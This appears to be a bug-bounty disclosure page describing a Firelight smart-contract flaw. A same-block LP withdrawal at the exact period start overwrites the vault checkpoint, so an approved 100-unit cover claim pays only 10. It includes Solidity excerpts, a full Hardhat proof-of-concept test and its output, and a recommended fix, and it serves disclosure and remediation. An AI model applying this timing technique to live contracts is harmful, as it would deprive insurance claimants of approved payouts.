Skip to content
Business logic Audit finding Advanced

Exact boundary checkpoint overwrite underpays approved cover claims

A public LP withdrawal in the same block as an allocator commitment overwrites the vault checkpoint at the exact period-start timestamp. A later approved insurance payout then reads the reduced post-withdrawal value as its exposure cap, so an approved 100-unit loss is paid only 10 units.

pks271 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

89014 sc high exact boundary checkpoint overwrite underpays approved cover claims

Submitted on Aug 16th 2026 at 14:07:51 UTC by @pks271 for Audit Comp | Firelight

Description

Bug Description

The allocator validates committed cover capacity from the vault snapshot at a period boundary. After that validation, a public withdrawal can occur later in the same block and overwrite the vault checkpoint stored under that exact timestamp. A later payout re-reads the same timestamp as an immutable period-start exposure cap, so it uses the post-withdrawal value rather than the value used to validate and settle cover.

The source trace is:

contracts/core/CoverOrderAllocator.sol#commitAllocation -> contracts/core/FirelightVault.sol#totalAssetsAt -> public withdraw in the same block -> contracts/core/FirelightVault.sol#_logTrace -> contracts/core/lib/Checkpoints.sol#push -> contracts/core/IncidentManager.sol#approveCurrentAssessment -> contracts/core/FirelightVault.sol#payout -> totalAssetsAt again

The critical code paths are:

Solidity
// contracts/core/lib/Checkpoints.sol#push
if (exists && key == lastKey) {
    self._values[len - 1] = value;
} else {
    self._trace.push(key, uint208(len));
    self._values.push(value);
}

The allocator capacity calculation consumes the boundary snapshot:

Solidity
// contracts/core/CoverOrderAllocator.sol#_computeAvailableCapacity
uint256 totalAssets = $.vault.totalAssetsAt($.vault.currentPeriodStart());

The payout later consumes the same lookup as its exposure cap:

Solidity
// contracts/core/FirelightVault.sol#payout
uint256 assetsAtCapturePeriod = totalAssetsAt(capturePeriodStart);
paidAmount = Math.min(amount, Math.min(assetsAtCapturePeriod, activePayableAmount));

The public withdrawal writes a replacement checkpoint at the same timestamp:

Solidity
// contracts/core/FirelightVault.sol#withdraw
_logTrace(owner, ownerBalance, _totalSupply - shares, _totalAssets - assets, true);

As a result, cover can be validated and settled against 100 units, while a later approved loss for that settled cover is capped using 10 units.

Impact

A public LP withdrawal in the same exact-boundary block as allocator validation can reduce the historical period-start asset snapshot. The Vault then pays only 10 of an approved 100-unit insurance loss even though the settled cover, approved assessment, and payable liability all support 100. The IncidentManager completes the incident with the 10-unit payout, leaving 90 units unpaid in the reproduced state. The report does not demonstrate a later payout path for the same closed incident.

The affected payout recipient does not need to be the withdrawing LP. The withdrawing LP has a direct economic incentive: it requests withdrawal immediately after cover capacity is committed, reducing the historical exposure cap before a subsequent covered incident is paid.

This is distinct from the disclosed “aggregate claims are not capped on-chain” issue. The PoC uses one legitimate claim whose amount is bounded by one settled cover; it does not submit duplicate, excessive, or multiple claims.

Attack Vector and Preconditions

  • A 100-unit cover order exists for the period.
  • The allocator's normal boundary commitment executes in a block whose timestamp is exactly the mathematical period start.
  • A public withdrawal from an LP is independently signed and included after that commit in the same block.
  • The allocation is settled and a legitimate 100-unit incident assessment is approved. This is a single claim already bounded by one settled cover; it does not rely on the separately disclosed aggregate multi-claim cap limitation.
  • The proof uses the real Vault, CoverOrderAllocator, CoverNFT, and IncidentManager. The allocator commit and incident setup are normal role operations used to create the insured state; the state rewrite itself is made by the public LP withdrawal.

Recommendation

Make the period-start asset snapshot immutable and unambiguous. For example:

  1. Write a once-only period-start checkpoint.
  2. Derive the boundary value from the last checkpoint before the boundary.
  3. Persist the exact vault snapshot in the allocation commitment and have payout consume that committed snapshot instead of re-querying the mutable same-key trace.

Proof of Concept

The test disables automine, sends the allocator commit and LP withdrawal as separately signed transactions from different signers, mines them in one exact-boundary block, verifies both receipts succeed, and then settles a full 100-unit cover and approves a 100-unit loss.

JavaScript
const { expect } = require("chai");
const { upgrades, ethers } = require("hardhat");
const { time } = require("@nomicfoundation/hardhat-network-helpers");
const { StandardMerkleTree } = require("@openzeppelin/merkle-tree");
const { deployVault, computeMarketId } = require("../../../test/setup/fixtures.js");

const ONE = 10n ** 6n;
const ONE_E18 = 10n ** 18n;
const CLOSED_INCIDENT_STATUS = 4n;

describe("Period-start checkpoint rewrite with independent transactions", function () {
  it("underpays an approved claim after allocator and LP transactions share the exact boundary block", async function () {
    this.timeout(60000);

    const fixture = await deployVault();
    const { deployer, users, payout_receiver } = fixture;
    const vault = fixture.firelight_vault;
    const asset = fixture.token_contract;
    const lp = users[0];

    await fixture.utils.mintAndApprove(101n * ONE, lp);
    await vault.connect(lp).deposit(100n * ONE, lp.address);

    const buffer = await (await ethers.getContractFactory("MockERC20")).deploy("Buffer", "BUFFER", 6);
    const priceFeed = await (await ethers.getContractFactory("MockAggregatorV3")).deploy(18, ONE_E18);
    const coverNFT = await upgrades.deployProxy(
      await ethers.getContractFactory("CoverNFT"),
      ["Firelight Cover", "FLCOVER", "", deployer.address, deployer.address, ethers.ZeroAddress, ethers.ZeroAddress],
      { kind: "transparent" },
    );
    const market = {
      chainId: 1,
      protocol: "BoundaryCover",
      market: ethers.encodeBytes32String("boundary-cover"),
    };
    const marketId = computeMarketId(market.chainId, market.protocol, market.market);
    const allocation = [[marketId, 100n * ONE_E18]];
    const allocator = await upgrades.deployProxy(
      await ethers.getContractFactory("CoverOrderAllocator"),
      [
        {
          vault: vault.target,
          premiumCollector: deployer.address,
          coverNFT: coverNFT.target,
          priceFeedAdapter: priceFeed.target,
          maxPriceAge: 7 * 24 * 3600,
          premiumTokens: [asset.target],
          admin: deployer.address,
          adminRole: deployer.address,
          curatorRole: deployer.address,
          allocatorRole: deployer.address,
          configAdminRole: deployer.address,
          initialProtocolConcentrations: [
            { protocol: market.protocol, chainId: market.chainId, maxProtocolConcentrationBps: 10000 },
          ],
          newMarkets: [market],
          capacityConfig: {
            minCAR: 12000,
            firstLossBufferToken: buffer.target,
            firstLossBuffer: deployer.address,
            effectiveLeverage: 24000,
            minOrderMarketCoverAmount: 1,
            divergenceToleranceBps: 0,
          },
        },
      ],
      { kind: "transparent", unsafeAllow: ["missing-initializer-call"] },
    );
    await coverNFT.connect(deployer).grantRole(ethers.id("MINTER_ROLE"), allocator.target);
    await asset.connect(lp).approve(allocator.target, ONE);
    await allocator
      .connect(deployer)
      .createCoverOrder(
        lp.address,
        lp.address,
        lp.address,
        asset.target,
        [{ marketId, coverRateAnnual: 500, coverAmount: 100n * ONE_E18 }],
        0,
      );

    const tree = StandardMerkleTree.of([[0n, allocation]], ["uint256", "(bytes32,uint256)[]"]);
    const captureStart = await vault.currentPeriodEnd();
    const commitmentPeriod = await vault.periodAtTimestamp(captureStart);
    await priceFeed.setUpdatedAt(captureStart);
    await allocator.connect(deployer).setSettlementGracePeriod(0);

    const allocatorInterface = new ethers.Interface(["function commitAllocation(uint256,bytes32,uint256,uint256)"]);
    const vaultInterface = new ethers.Interface(["function withdraw(uint256,address,address)"]);
    const commitData = allocatorInterface.encodeFunctionData("commitAllocation", [
      commitmentPeriod,
      tree.root,
      100n * ONE_E18,
      200n * ONE_E18,
    ]);
    const withdrawalData = vaultInterface.encodeFunctionData("withdraw", [90n * ONE, lp.address, lp.address]);

    await ethers.provider.send("evm_setAutomine", [false]);
    try {
      const commitHash = await ethers.provider.send("eth_sendTransaction", [
        {
          from: deployer.address,
          to: allocator.target,
          data: commitData,
          gas: "0xf4240",
        },
      ]);
      const withdrawalHash = await ethers.provider.send("eth_sendTransaction", [
        {
          from: lp.address,
          to: vault.target,
          data: withdrawalData,
          gas: "0xf4240",
        },
      ]);
      await time.setNextBlockTimestamp(captureStart);
      await ethers.provider.send("evm_mine");
      const boundaryBlock = await ethers.provider.getBlock("latest");
      expect(boundaryBlock.timestamp).to.equal(captureStart);
      expect(boundaryBlock.transactions).to.include(commitHash);
      expect(boundaryBlock.transactions).to.include(withdrawalHash);
      expect((await ethers.provider.getTransactionReceipt(commitHash)).status).to.equal(1n);
      expect((await ethers.provider.getTransactionReceipt(withdrawalHash)).status).to.equal(1n);
    } finally {
      await ethers.provider.send("evm_setAutomine", [true]);
    }

    await allocator.settleCoverOrder(0n, allocation, tree.getProof(0));

    const incidentManager = await upgrades.deployProxy(
      await ethers.getContractFactory("IncidentManager"),
      [
        deployer.address,
        deployer.address,
        deployer.address,
        deployer.address,
        deployer.address,
        deployer.address,
        deployer.address,
        deployer.address,
        payout_receiver.address,
        allocator.target,
        priceFeed.target,
        7 * 24 * 3600,
      ],
      { kind: "transparent", unsafeAllow: ["missing-initializer-call"] },
    );
    await vault.grantRole(await vault.PAYOUT_ROLE(), incidentManager.target);
    await vault.grantRole(await vault.INCIDENT_ROLE(), incidentManager.target);
    await incidentManager.createIncident(
      captureStart,
      "Boundary checkpoint incident",
      ethers.id("boundary-checkpoint"),
    );
    await incidentManager.confirmIncident(1, "ipfs://boundary-checkpoint");
    await incidentManager.addAssessmentLosses(1, [[0n, marketId, 100n * ONE_E18]]);
    await incidentManager.submitCurrentAssessment(1);
    await incidentManager.approveCurrentAssessment(1);

    const expectedPayout = process.env.EXPECT_FULL_PAYOUT === "1" ? 100n * ONE : 10n * ONE;
    const [incident] = await incidentManager.getIncident(1);
    expect(await vault.totalAssetsAt(captureStart)).to.equal(10n * ONE);
    expect(incident.status).to.equal(CLOSED_INCIDENT_STATUS);
    expect(incident.vaultPaidAmount).to.equal(expectedPayout);
    expect(await asset.balanceOf(payout_receiver.address)).to.equal(expectedPayout);
  });
});

From the repository root, run the current-behavior regression:

Bash
npx hardhat test --config audit/harness/hardhat.evidence.js audit/harness/test/period_start_checkpoint_rewrite_independent_transactions.js

Observed result:

Period-start checkpoint rewrite with independent transactions
  ✔ underpays an approved claim after allocator and LP transactions share the exact boundary block

1 passing

To show the economically correct payout and produce the failing assertion, run:

Bash
EXPECT_FULL_PAYOUT=1 npx hardhat test --config audit/harness/hardhat.evidence.js audit/harness/test/period_start_checkpoint_rewrite_independent_transactions.js

Observed failure:

AssertionError: expected 10000000 to equal 100000000.
+ expected - actual
-10000000
+100000000

The original report as published on Immunefi, by pks271. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The checkpoint store overwrites the value for an existing last key instead of keeping the period-start snapshot immutable, so a same-block withdrawal replaces the exposure cap used for payouts.

Impact

An approved insurance loss can be underpaid, leaving 90 of 100 units unpaid in the reproduced state, though the report does not demonstrate a later payout path for the same closed incident.

What the attacker needed

A 100-unit cover order exists; allocator commit lands at exact period start; LP withdrawal in the same block; a legitimate incident is approved

The fix

The period-start asset snapshot should be made immutable, for example with a once-only checkpoint or by persisting the committed snapshot and having payout consume it.

How it was found

  1. Deploy the vault, allocator, cover NFT and incident manager, and deposit LP funds.
  2. Create a cover order and prepare an allocation commitment for the period boundary.
  3. Disable automine, send the allocator commit and an LP withdrawal as separate transactions, and mine both in one block at the exact period-start timestamp.
  4. Settle the cover order and create, confirm and approve a 100-unit incident assessment.
  5. Observe that the payout is 10 units instead of the approved 100 units.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The vault records how much money it holds at the start of each period, and later uses that saved number to decide how much insurance it can pay. If someone withdraws money in the very same block as the record is made, the saved number is quietly replaced with the smaller amount. The insurance payout then uses the smaller number and underpays a valid claim.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by pks271

View all

9 more disclosed reports, best first.

More from Firelight

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.